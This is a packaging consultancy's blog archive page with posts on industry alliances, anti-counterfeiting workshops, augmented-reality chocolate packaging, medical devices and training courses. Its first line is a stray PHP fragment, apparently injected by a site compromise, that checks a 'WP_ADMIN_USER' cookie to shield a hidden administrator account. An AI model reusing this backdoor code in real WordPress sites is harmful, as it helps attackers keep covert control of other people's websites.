if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Design Cognition » Technology - your packaging design, development, project management & training partner & consultant

Technology

Posted in Business News, Design Cognition News, Healthcare & Pharma, Innovation, Marketing, Medical Devices, Product News, Technology, Uncategorized on July 23rd, 2012 by Sheila Penfold – 16 Comments

GP-LogoDesign Cognition Group Ltd are pleased to announce the formation of a new alliance with GP Solutions UK Ltd. Both companies provide a range of dedicated products /services which are specifically geared towards the pharmaceutical and healthcare markets. Commenting on the arrangement, Design Cognition Managing Director Penfold said “This is a major step forward for our companies that will provide a unique and unrivalled offering for our respective clients which will provide a fantastic & interesting product/service mix adding real value”.

Equally enthusiastic about the new co-operation,  GP Solutions UK Ltd Managing Director Howieson stated “By combining our respective know how & expertise we shall be able to offer a comprehensive pool of packaging/product development talent”.

GP Solutions UK Ltd were first incorporated in 2000. They are a small yet dynamic consultancy & product development enterprise. The business devises unique IP led packaging, labelling & technology based solutions into the pharmaceutical/R&D markets. Some of its notable achievements include :
Dose Guard – a child resistant peel & push secondary layer for blister packs &/or patient wallet cards
Chrysalis – which is a integrated high speed leaflet/carton construction created to aid compliance
Dose Recognition – a mobile phone software/App platform designed to (remotely) monitor patient compliance.
Alongside the development arm of the company they also supply a bespoke range of dedicated clinical trial materials for many of the worlds leading pharmaceutical companies. Across all aspects of the business they operate a pro-active & progressive approach to identifying new market trends which can help to improve client supply chain management & patient engagement process.

Design Cognition were formed in 2006 and are an award winning, independent and dedicated packaging design & development contractor & consultancy. We provide packaging development, product development and project management support for companies from small business start-ups to large multi-nationals, primarily in the healthcare and pharmaceutical sectors.

Design Cognition also provides brand owners, product development companies, packaging designers and packaging suppliers/assemblers with packaging and pack design expertise (structural and graphic) & undertake bespoke training across all product categories. Focussed on innovation we provide tailored packaging support on all aspects of the product lifecycle and supply chain. The company has previously been quoted in The Daily Telegraph, The Nottingham Evening Post and have appeared on BBC East Midlands.

For more information on how this fantastic alliance can help add value in your business contact Design Cognition on:
+44 115 846 1914
enquiries@designcognition.com

Posted in Design, Events, Exhibitions, Government, Healthcare & Pharma, Innovation, Legal, Medical Devices, Safety, Technology on January 11th, 2012 by Chris Penfold – 12 Comments
easyFairs Packaging Innovations Show

easyFairs Packaging Innovations Show

Anti-Counterfeiting in the pharma industry – Latest Packaging Trends & Technologies

easyFairs, the trade show specialists, are launching a new pharmaceutical workshop which will be making its debut at the easyFairs  packaging shows @ NEC, Birmingham, UK this February. The event will be organised and delivered by Design Cognition and an array of experts from the anti-counterfeiting & packaging industries.

The new ‘Pharma counterfeiting workshop’ will help delegates identify the key issues, and look at emerging packaging trends and technologies, including all sorts of overt (visible) solutions such as holograms and covert (hidden) solutions including various printing, coating and forensic technologies.

Leading thinkers and experts in the industry, will provide an unbiased and independent overview to help attendees see the ‘wood from the trees’. Taking place on 29 February (9.30am – 1.30pm) the workshop is being billed as one of the main highlights of the easyFairs event, which last year attracted over 4,500 visitors.

Amongst the speakers, Anne Dallison, Fellow of the Packaging Society and CTO at Design Cognition commented: “In a dynamic market, as well as providing a fantastic opportunity to get the latest perspective from industry experts such as the MHRA & PAGB on packaging implications of legislation such as the Falsified Medicines Directive and what it could mean for Brand Owners, this workshop will also provide an unrivalled and cost-effective means of networking with industry peers and leading-edge experts from the world of anti-counterfeiting. So if you want to stay one step ahead – you can’t afford to miss this!”

Also speaking at the show will be Jeremy Plimmer, Editor/Publisher at Product & Image Security Foundation and Chairman of West Midlands Packaging Society, who will be focusing on ‘Security Packaging – Is it a necessity or unnecessary expense.’  James Bevan, Director at Vandagraf and Agent for NetEnforcers in Europe will be looking at Internet Security and how to catch the fakers and identify fake sites.

Counterfeiting of products and packaging has become a multi-billion business, toys, dietary supplements, wine and iPhones are among the tens of thousands of counterfeit items seized every year. The speakers will bring the topics to life with real-life, hands-on examples and are encouraging delegates to bring their own packs along for a free counterfeit – audit, which can be conducted separately in a confidential environment if necessary.

Matt Benyon, Managing Director at easyFairs, comments: “Fake goods are certainly big business, especially in all this economic gloom. Intellectual property crime is estimated to be worth around £1.3bn in the UK each year and the Anti-Counterfeiting group, estimate that 12% of toys for sale in the UK are fakes. With ‘fake’ goods being such a hot topic we saw the importance of providing a comprehensive workshop concentrating just on this area, it is vital that packaging companies  help protect brands and retailers against counterfeiting with holograms or covert printing solutions.”

If you are interested in attending the Anti-Counterfeiting workshop you can register for the event here: Online Registration Form

Or for further information and a full list of speakers please contact Chris Penfold, CEO of Design Cognition, on +44 (0)115 846 1914 or email chris@designcognition.com

Delegate Fee: £149 – Fee includes full set of course documentation as well as refreshments and lunch. Places are limited and expected to go very quickly, so book early to avoid any disappointment.

We look forward to seeing you there.

Posted in Academia, Business News, Creative Spotlight, Design, Events, Innovation, Materials, Opinion, Technology, Training on August 24th, 2011 by Chris Penfold – 9 Comments
Packaging Design & Innovation 19th Oct 2011

Packaging Design & Innovation 19th Oct 2011

As many of you may know, as well as running Design Cognition, I am Chairman of the East Midlands Packaging Society (based in Nottingham UK) and in that role, my main focus this year is to entice more of you, our valued members, to take part in events and also to encourage ‘new blood’ into the industry.

We’ve got some fantastic events lined-up, in which you could participate in a number of different ways and at a number of different levels – it’s up to you how far you want to get involved.

Much of it will be FREE and could directly benefit you personally and your business.

You may want to participate yourself, or you know someone else that could be interested. Either way, I’m looking for partners and I’d love to hear from you. The aim of the whole exercise is to help raise the profile of packaging but also to facilitate the integration of academia and industry for everyone’s benefit. So this is applicable to:

Students – who may want to learn & enhance career options

Universities – looking for business avenues/partnerships to help commercialise their ideas

Product development companies, packaging suppliers & design agencies – wanting to keep up with latest technology & also identify high calibre students for job placements & opportunities

The first of our events is on 19th October at Nottingham Trent University, 4.30 – 8.30pm with a free buffet and refreshments (see flyer attached).

All are welcome, members and non-members, but pre-registration is essential – just drop me an email to: chris@designcognition.com

Come along and listen to some exciting & leading-edge talks from the university & from the packaging design industry. Network with industry & academic experts – with various table-top demonstrations, discuss your design projects in an informal atmosphere and get practical mentoring help & advice.

Some of the highlighted topics will include:

Smartphone technology & how it can enhance the consumer experience

Using packaging technology to tackle counterfeiting

University research into brand design

Display technology for packing applications

Design of packaging for reuse / recycling

You can find out more about this and other East Midlands Packaging Society events on our ‘ning’ site:

East Midlands Packaging Society website

and also on our LinkedIn Group & Facebook Pages:

EMPS LinkedIn Group

EMPS Facebook page

This is the first of three planned university partnership events during the next 12 months, so whether in academia or business – You decide how you want to get involved, which could be as a speaker, sponsor, exhibitor, trainer or as a participant – how could it best benefit yourself? I really do think that ‘everyone’s a winner’ with this. More details to follow in future blogs.

If you’ve got any other ideas yourself, let me know.

Chris Penfold

Chairman – East Midlands Packaging Society

chris@designcognition.com

00 44 115 846 1914

Posted in Branding, Food Packaging, Innovation, Marketing, Product News, Technology, Uncategorized on August 18th, 2011 by Chris Penfold – 14 Comments

Cadbury UK, the confectionery giant which is now part of Kraft Foods, is believed to be ahead of it’s competitors, having created the first interactive chocolate bar using ‘markless image recognition technology’.

It has announced plans to use Augmented Reality (AR) technology to engage consumers by enabling them to play a digital game when their chocolate packaging is viewed via a smartphone camera.

The ‘Quaksmack’ game, devised by Blippar, who are a UK-based technology firm, recognises Cadbury’s packaging in a similar manner to a QR code and transforms the packaging itself into an interactive game. The app is available in Android and Apple versions.

Check out this video to preview the game:

Players choose to be a ‘Spot’ or ‘Stripe’, before ducks appear from either side of the chocolate bar. They have to ‘smack’ the opposing team’s ducks by tapping the screen.

The game, is part of the Cadbury brands ongoing Spot V Stripes London Olympics initiative  and will be available across all Cadbury chocolate bars, except for Creme Eggs and Wispas.

Commenting to Packaging News, Kraft Foods digital head Sonia Carter said: “We loved Blippar from the moment we saw it in action. We were blown away by the technology and we’re certain consumers will be. With one in three UK adults owning a smartphone the potential market for initiatives like this is huge and we are proud to be bringing this incredible technology to the masses….It doesn’t seem all that long ago we were all marvelling at what QR codes could do but Blippar’s ‘markless image recognition’ technology takes the experience to a whole new level.”

Blippar chief executive and co-founder Ambarish Mitra, reinforced a deep-help belief of mine that: “Image-recognition enabled Augmented Reality is far from a ‘gimmick’ and will fundamentally change how consumers interact with their favourite real-world brands.”

Thanks to Packaging News for bringing our attention to this article. You can read further related packaging AR and technology articles here: Related technology articles

Chris Penfold

Posted in Branding, Design, Healthcare & Pharma, Innovation, Marketing, Technology on April 11th, 2011 by Chris Penfold – 19 Comments
New Sensodyne carton packaging using Fresnel lens technology

New Sensodyne carton packaging using Fresnel lens technology

Local Nottingham printer, Chesapeake Pharmaceutical and Healthcare Packaging has helped develop packaging for GSK’s global launch of its new Sensodyne Repair & Protect oral care product. The novel cartons feature 3-D features intended to simulate a life-like model of a tooth as well as close-up images that help to describe the benefits of using the product. The effect is achieved by the incorporation of a series of ‘Fresnel lenses’ into the carton-board, which demands absolute production precision. The lens area is then overprinted, which requires exacting print registration. The resulting life-like perspective produces the impression of depth which provides the pack with a tactile quality that is further enhanced by the carton’s bevelled edge.

An interesting product feature that certainly has a novelty appeal but I’m not sure how effective the 3D-effect will be in educating and informing consumers. An improvement to this could be via use of 2D data matrix barcode to take consumers to a GSK website that then provides more in-depth information and videos. What do you think?

Source: PMPNews.com
Read more about leading-edge technologies that could add value for consumers by following this link to our Technology Folder

Chris Penfold

Posted in Design, Healthcare & Pharma, Innovation, Materials, Medical Devices, Technology on March 11th, 2011 by Chris Penfold – 75 Comments

Medical Device & packaging interface is converging

Medical Device & packaging interface is converging

There are an ever-increasing number of ‘medical device’ products coming to market or existing products changing their classification to ‘medical device’ to give greater flexibility in the market. The boundary between Medical Devices and packaging is becoming ever-more blurred as the followng areas converge: smartphone technology, materials technology, internet capabilities & bandwidth, Wi-Fi and Near Field Communications (NFC). This is particularly evident in the area of patient compliance (adherence) and to a lesser extent, also in the areas of anti-counterfeiting and Track & Trace.

The route to CE marking depends on the risk classification of your device and also on how many you manufacture. The development of a device is heavily regulated and various criteria need to have been checked and decisions/design routes justified and recorded.

The Manufacturers or their authorised representative must follow one of several routes in order to CE mark their devices and legally sell or distribute them on the European market.
The Brand owner for the device will also have some of the responsibilities of the manufacturer.

The Team at Design Cognition have been involved in many successful device developments and understand what is required to develop a device/product that will meet the stringent criteria laid down by the various authorities. We can provide support for your project from concept through development, authorisation and commercialisation or even for the reviews. We are here to help, so give us a call!

Chris Penfold

Posted in Innovation, Technology on February 21st, 2011 by Jane Bear – 181 Comments

Axicon Scanning BarcodeDesign Cognition are proud to announce that we have now partnered with the world leading barcode verification solution provider Axicon.

Barcoding is evolving and increasingly being used in more imaginative ways – to find out more about the future of barcoding and how we can help you read the Full Barcoding Article or just give us a call on +44 (0)115 8461914

Posted in Design, Healthcare & Pharma, Innovation, Materials, Technology on February 4th, 2011 by Chris Penfold – 118 Comments
New nanotechnology provides exciting opportunities for packaging

New nanotechnology provides exciting opportunities for packaging

We came across this story today and are excited about the possibilities & opportunities that this could present to the packaging industry, especially in the area of ‘added-value’ electronic & ’smart’ packaging. At it’s heart is the discovery of a new way of splitting layered materials to give atom thin “nanosheets”. This has led to a range of novel two-dimensional nanomaterials with chemical and electronic properties that have the potential to enable new electronic and energy storage technologies. The collaborative* international research led by the Centre for Research on Adaptive Nanostructures and Nanodevices (CRANN), Trinity College Dublin, Ireland, and the University of Oxford has been published in this week’s Science. The scientists have invented a versatile method for creating these atom thin nanosheets from a range of materials using common solvents and ultrasound, utilising devices similar to those used to clean jewellery. The new method is simple, fast, and inexpensive, and could be scaled up to work on an industrial scale.

For decades researchers have tried to create nanosheets from layered materials in order to unlock their unusual electronic and thermoelectric properties. However, previous methods were time consuming, laborious or of very low yield and so unsuited to most applications.

“Our new method offers low-costs, a very high yield and a very large throughput: within a couple of hours, and with just 1 mg of material, billions and billions of one-atom-thick nanosheets can be made at the same time from a wide variety of exotic layered materials,” explained Dr Nicolosi, from the University of Oxford.
These new materials are also suited for use in next generation batteries – “supercapacitors” – which can deliver energy thousands of times faster than standard batteries, enabling new applications such as electric cars. Many of these new atomic layered materials are very strong and can be added to plastics to produce super-strong composites. These will be useful in a range of industries from simple structural plastics, through packaging, medical devices and even to aeronautics.

Source: Trinity College Dublin via www.nanowerk.com

You can read more Design Cognition related packaging stories in Technology

Chris Penfold

Posted in Design, Healthcare & Pharma, Innovation, Materials, Technology on January 25th, 2011 by Chris Penfold – 127 Comments

Key development in semiconductor technology provides breakthrough in electronic packaging

Key development in semiconductor technology provides breakthrough for electronic packaging

Semiconductor Research Corporation & Stanford Develop Unique Combination of Elements for Thermal Nanotape That Transforms Packaging Applications
Semiconductor Research Corporation (SRC), the world’s leading university-research consortium for semiconductors and related technologies, and researchers from Stanford University have developed a novel combination of elements that yields a unique nanostructure material for packaging. This advance should allow longer life for semiconductor devices while costing less than current state-of-the-art materials. In addition to chip manufacturers, several other industries could also gain greater product efficiencies from related thermal energy management technology.
For semiconductors, the improvement will come in the form of packaging for devices. Presently, manufacturers must rely on tiny pins or thick solder to bond sections of the semiconductor in order for the device to perform. However, current solder materials tend to degrade and fail due to heat and mechanical stress. In order to continue the scaling of integrated circuits, SRC and Stanford have researched materials that provide a high thermal connectivity — comparable to copper — with the flexible compliance of foam. The answer has been created through a nanostructured thermal tape that conducts heat like a metal while allowing the neighboring materials to expand and contract with temperature changes (metals are too stiff to allow this). This ability to reduce chip temperatures while remaining compliant is a key breakthrough for electronic packaging.

Checkout the full story @ Nanowerk News: www.nanowerk.com

You can read more Design Cognition related packaging stories in Technology

Chris Penfold

Posted in Design, Healthcare & Pharma, Machinery, Materials, Technology, Training, cost-optimisation on December 20th, 2010 by Chris Penfold – 114 Comments
Want to know more about injection moulding? Increase your skills on our 1 day course

Want to know more about injection moulding? Increase your skills on our 1 day course

If you are involved in the design or development of injection moulded thermoplastic parts, whether packaging, delivery systems or devices, and want to save huge amounts of time, money & hassle, this 1 day course is for you – especially if you would like to be able to:

- Understand the key terms and phrases associated with injection moulding machines, the process and a basic multi cavity hot runner mould tool configuration.

- Have the knowledge and confidence to interact on an even level with suppliers when specifying, sourcing and managing a plastics moulding, tooling project through to final acceptance.

- Recognise common moulding faults and implement a course of remedial action quickly.

- Create a bespoke mould tool specification documents for your own components. This will enable you to not only understand your current suppliers documentation, but also compare alternative suppliers on a like-for-like basis.

There is an EARLY BIRD DISCOUNT, but HURRY, the discount ends Friday 24th December 2010.

To find out more, check out: Packaging Training Courses – More Information

or email Training@DesignCognition.Com

Alternatively just give us a call on +44 (0) 115 8461914

Look forward to seeing you there!